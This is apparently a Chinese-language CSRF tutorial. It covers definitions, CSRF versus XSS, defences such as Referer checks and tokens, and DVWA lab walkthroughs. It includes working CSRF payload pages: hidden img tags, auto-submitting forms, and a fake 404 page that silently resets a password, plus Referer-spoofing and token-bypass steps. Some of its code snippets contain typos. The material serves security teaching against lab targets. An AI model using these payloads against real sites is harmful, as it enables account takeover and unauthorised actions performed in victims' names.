文章目录:
一:前言
1.定义
2.攻击原理
3.危害
4.环境
4.1 靶场
4.2 扫描工具
6.CSRF与XSS的区别
二:构建CSRF的payload
GET请求:a标签 img标签
POST请求:form表单
三:防御方法
1.验证Referer
3.验证随机CSRF-token
4.增加验证流程/二次验证
四:DVWA靶场CSRF练习
Low级别
Medium级别
High级别
一:前言
1.定义
跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用 尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站 也叫做点击攻击,必须有人点击它(处于登录状态),需要靠其他的漏洞来触发它,不然不能成功 也可以不点击,通过JS代码自动加载触发 主要是因为程序员开发的时候,未对请求比如token和REFERER等进行参数判断,造成攻击者可构造自己的URL地址欺骗目标用户进行点击 可以理解为:CSRF攻击者盗用你的身份,以你的名义发送恶意请求,对服务器来说请求是完全合法的 但是却完成了攻击者所期望的操作,比如以你的名义发送邮件、信息、盗取你的账号、添加系统管理员、购买商品、转账等
2.攻击原理
1.CSRF的攻击建立在浏览器与web服务器的会话之中 2.欺骗用户访问URL链接
3.危害
修改密码、修改个人信息 点赞、关注、评论、留言、转发、收藏、浏览、动态 添加用户(超级管理员) 数据库备份 数据交易、支付 对话框钓鱼页面 和其他攻击手段配合
4.环境
4.1 靶场
DVWA:(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场
pikachu:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞 可参考:分享1
4.2 扫描工具
Burp Suite、CSRFTester
5.cookie session token的区别
Cookie、Session和Token在Web开发中常用于处理用户会话和状态管理,它们之间存在显著的区别
存储位置与方式 Cookie:存储在客户端的浏览器中,以文本文件的形式存在。每次HTTP请求时,浏览器都会将Cookie发送到服务器,从而实现状态的保持 Session:存储在服务器端,通常使用内存或数据库来保存用户的会话信息。客户端通过Session ID(通常通过Cookie或URL传递)与服务器端的Session进行关联 Token:也存储在客户端,但通常以加密的方式存储在客户端的localStorage或sessionStorage中,或者以HTTP头部(如Authorization)的形式发送给服务器 数据安全性 Cookie:由于存储在客户端,容易被用户查看或篡改,因此敏感信息需要加密处理。同时,Cookie存在跨站请求伪造(CSRF)的风险 Session:存储在服务器端,避免了敏感数据在客户端的暴露,提高了安全性。但Session ID可能通过Cookie或URL传递,存在被拦截的风险 Token:通常采用加密算法生成,有效期较短且单向不可逆,具有较高的安全性。Token的验证过程不依赖于服务器端存储的用户信息,降低了被伪造的风险 跨域支持 Cookie:默认情况下不支持跨域传输,即不同域名下的Cookie不能相互访问。这有助于防止跨站脚本攻击(XSS)和CSRF Session:Session机制通常依赖于Cookie来保存Session ID,因此Session ID也不支持跨域。但可以通过其他方式(如URL重写)实现跨域Session共享 Token:可以轻松实现跨域,因为Token是存储在客户端的localStorage或作为请求头的一部分发送到服务器的,不受域名限制 状态管理 Cookie:主要用于实现客户端的状态管理,通过存储临时数据来跟踪用户的状态 Session:用于服务器端的状态管理,服务器为每个会话分配一个唯一的Session ID,并将其与用户状态相关联 Token:主要用于无状态的身份验证和授权,它本身不包含用户的状态信息,而是通过验证用户的身份和权限来允许或拒绝访问 使用场景 Cookie:适用于存储少量的用户数据(如用户偏好设置),以及实现简单的用户登录状态保持 Session:适用于需要服务器端存储大量用户状态信息的场景,如购物车、用户会话等 Token:适用于需要高安全性、无状态的身份验证和授权的场景,如API接口访问、单点登录(SSO)等
6.CSRF与XSS的区别
原理不同 CSRF:CSRF是一种利用用户已登录的身份,在用户不知情的情况下,以用户的名义向服务器发送请求的攻击方式 这种攻击的关键在于伪造用户的请求,使其看起来像是由用户本人发起的合法请求 XSS:XSS则是一种通过向Web页面中注入恶意脚本代码,当用户浏览该页面时,脚本代码会在用户的浏览器上执行,从而达到攻击用户的目的 这种攻击方式主要利用了Web页面能够执行JavaScript等脚本语言的能力 攻击目标不同 CSRF:CSRF的攻击目标主要是用户,特别是那些已经登录并持有重要权限的用户 攻击者通过伪造用户的请求,强制用户执行非本意的操作,如转账、修改密码等 XSS:XSS的攻击目标则更为广泛,它既可以攻击用户(如窃取用户的Cookie信息), 也可以攻击服务器(如通过注入的脚本代码向服务器发送恶意请求) 实现方式不同 CSRF:CSRF攻击通常不需要用户登录目标网站,因为攻击者可以利用用户在其他网站上的登录状态(如通过Cookie)来伪造请求 攻击者可能会通过发送伪装成合法链接的URL,诱骗用户点击,从而触发攻击 XSS:XSS攻击则需要攻击者将恶意脚本代码注入到目标网站的页面中 这通常可以通过在网站的输入表单中提交包含恶意脚本的输入、在网站留言板或评论区发布包含恶意脚本的留言等方式实现 防御措施不同 CSRF:防御CSRF攻击的主要措施包括验证请求的来源(如检查HTTP Referer字段)、使用验证码、在HTTP请求中加入随机生成的token并验证等 这些措施可以有效地防止攻击者伪造用户的请求 XSS:防御XSS攻击的主要措施则包括对用户输入进行严格的过滤和转义,确保输入的数据不会被当作脚本代码执行 此外,还可以使用内容安全策略(CSP)来限制Web页面可以加载的外部资源,从而减少XSS攻击的风险
二:构建CSRF的payload
GET请求:a标签 img标签
利用Burp抓包——>复制网址——>构建特殊页面1.html(可修改密码)
<html> <head> <title></title> <!--CSS--> <style> </style> <!--JS--> <script> </script> </head> <body> <a href="http://192.168.18.115/lyb/user/updatePass.php?id=81&passwd=123&passwd=123&submit=%E6%9B%B0">点击立即和小姐姐聊天</a> <img src="http://192.168.18.115/lyb/user/updatePass.php?id=81&passwd=123&passwd=123&submit=%E6%9B%B0" width="0" height="0"> </body> </html>
POST请求:form表单
利用Burp抓包——>找到请求网址——>鼠标右键——>相关工具——>生产CSRF PoC——>构建特殊页面2.html(可修内容)
<html> <head> <title></title> <!--CSS--> <style> </style> <!--JS--> <script> </script> </head> <body> <script>history.pushState('','','/')</script> <form action="http://192.168.18.115/lyb/message/messageSub.php method="POST"> <input type="hidden" name="message" value="66666"> <input type="hidden" name="submit" value="•™¨€"> <input type="submit" value="Submit request"> </form> </body> </html>
上面是手动点击的,也可以通过JS代码自动加载
<html> <head> <title></title> <!--CSS--> <style> </style> <!--JS--> <script> </script> </head> <body> <script> window.onload=function(){ document.getElemetById("postsubmit").click(); } </script> <form action="http://192.168.18.115/lyb/message/messageSub.php method="POST"> <input type="hidden" name="message" value="66666"> <input type="hidden" name="submit" value="•™¨€"> <input id="postsubmit" type="submit" value="Submit request"> </form> </body> </html>
三:防御方法
1.验证Referer
验证HTTP Referer字段:检查HTTP请求中的Referer字段,确保请求来自可信的源。确定是用户自己触发的。然而,这种方法存在被绕过的风险(伪造文件名 文件夹包含 携带参数)
判断Referer里面是否包含Host里面的值 Host:192.168.2.114 Referer:http://192.168.2.114/dvwa/vulnerabilities.csrf/ if(isset($_GET['Change'])){ if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){ } }
2.cookie hashing
1.客户端对cookie计算哈希,一起发送给服务器 <?php $hash=mod5($_COOKIE['cookie']) ?> 2.服务端收到cookie,计算哈希值,与收到的hash值进行笔记 3.如果匹配成功,说明是验证了身份的客户端自己发起的请求 <?php if(isset($_POST['check'])){ $hash=mod5($_COOKIE['cookie']) if($_POST['check']==$hash){ }else } else ?>
3.验证随机CSRF-token
在请求地址中添加token并验证:为每个敏感操作生成一个唯一的CSRF token,并将其作为请求的一部分发送给服务器。服务器在收到请求时验证CSRF token的有效性 CSRF token标志数据字符串:确定请求是来源于用户自己授权过的,不是某个网址自己跳转的 user_token里面的value值来源于服务器插入标记 if(isset($_GET['Change'])){ checkToken($_REQUEST['user_token'],$_SESSION['seeion_token'],'index.php') } BP工具 插件扩展:CSRF Token Tracker进行token先行追踪拿取
1.用户使用用户名密码登录,服务器下发一个随机的token字段,并且服务端把这个字段保存在session中 session_start() if (empty($_SESSlON['token'])){ $_SESSION['token']= bin2hex(random_bytes(32)); } $token=$ SESSlON['token1 2.客户端把这个token保存起来,放到隐藏字段 3.用户在登陆状态下,在之后访问的时候,都要携带这个token字段 4.服务端从seesion中拿出token值进行对比,如果一致,说明请求合法 if (!empty($_POST['token'])){ if (hash_equals($_SESSlON['token'], $_POST['token'])){ // 执行业务逻辑 } else } 5.用户退出,session销毁,token失效
4.增加验证流程/二次验证
验证码 短信 滑动拼图 文字点选 图形点选 空间语义 人脸识别
四:DVWA靶场CSRF练习
Low级别
源码分析:发现只是坐了密码比对,并没有其他认证,只需要输入的新密码和确认的新密码保持一致即可(New password Confirm new password)
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $current_user = dvwaCurrentUser(); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
方法一:将地址栏中的两个密码改成123456
192.168.80.145/dvwa/valnerabilities/csrf/password_new=123456&&password_conf=123456&Change=Change#
方法二:恶意网页包含img标签(用户点击访问这个页面时,会以为访问的页面丢失了,但是当他打开这个页面时,用户的密码已经被修改)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>错误</title> </head> <body> <h1>404</h1> <h1>无法正常访问</h1> <a href="http://192.168.80.145/dvwa/vulnerabilities/csrf/?password_new=passwd&password_conf=passwd&Change=Change#" >点击跳转</a> <img src="http://192.168.80.145/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"> </body> </html>
Medium级别
源码分析:stripos() 函数查找字符串在另一字符串中第一次出现的位置。
代码检查了变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $current_user = dvwaCurrentUser(); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
方法一:必须保证在Http请求中Referer字段中必须包含Host,将Host与Referer修改一致
Host:192.168.2.114 Referer:http://192.168.2.114/dvwa/vulnerabilities.csrf/
方法二:修改Referer的值,改成localhost,再发送
Host:192.168.2.114 Referer:localhost
方法三:文件夹名包含
方法四:文件名修改
方法五:参数携带
High级别
源码分析:这关在页面是能够正常修改密码,但是多了一个token验证,这就需要我们去绕过token
直接修改cook的安全等级绕过token认证机制
<?php $change = false; $request_type = "html"; $return_message = "Request Failed"; if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") { $data = json_decode(file_get_contents('php://input'), true); $request_type = "json"; if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) && array_key_exists("password_new", $data) && array_key_exists("password_conf", $data) && array_key_exists("Change", $data)) { $token = $_SERVER['HTTP_USER_TOKEN']; $pass_new = $data["password_new"]; $pass_conf = $data["password_conf"]; $change = true; } } else { if (array_key_exists("user_token", $_REQUEST) && array_key_exists("password_new", $_REQUEST) && array_key_exists("password_conf", $_REQUEST) && array_key_exists("Change", $_REQUEST)) { $token = $_REQUEST["user_token"]; $pass_new = $_REQUEST["password_new"]; $pass_conf = $_REQUEST["password_conf"]; $change = true; } } if ($change) { // Check Anti-CSRF token checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' ); // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new); $pass_new = md5( $pass_new ); // Update the database $current_user = dvwaCurrentUser(); $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ); // Feedback for the user $return_message = "Password Changed."; } else { // Issue with passwords matching $return_message = "Passwords did not match."; } mysqli_close($GLOBALS["___mysqli_ston"]); if ($request_type == "json") { generateSessionToken(); header ("Content-Type: application/json"); print json_encode (array("Message" =>$return_message)); exit; } else { echo "<pre>" . $return_message . "</pre>"; } } // Generate Anti-CSRF token generateSessionToken(); ?>
方法一:Burp Suite抓包,发送到Repeater,security=high
security=low
方法二:BP工具插件扩展CSRF Token Tracker进行token先行追踪拿取
1.配置请求地址和请求参数 2.勾选Syn requests based on the following rules 3.发送到重发模块、修改值、Send发送数据包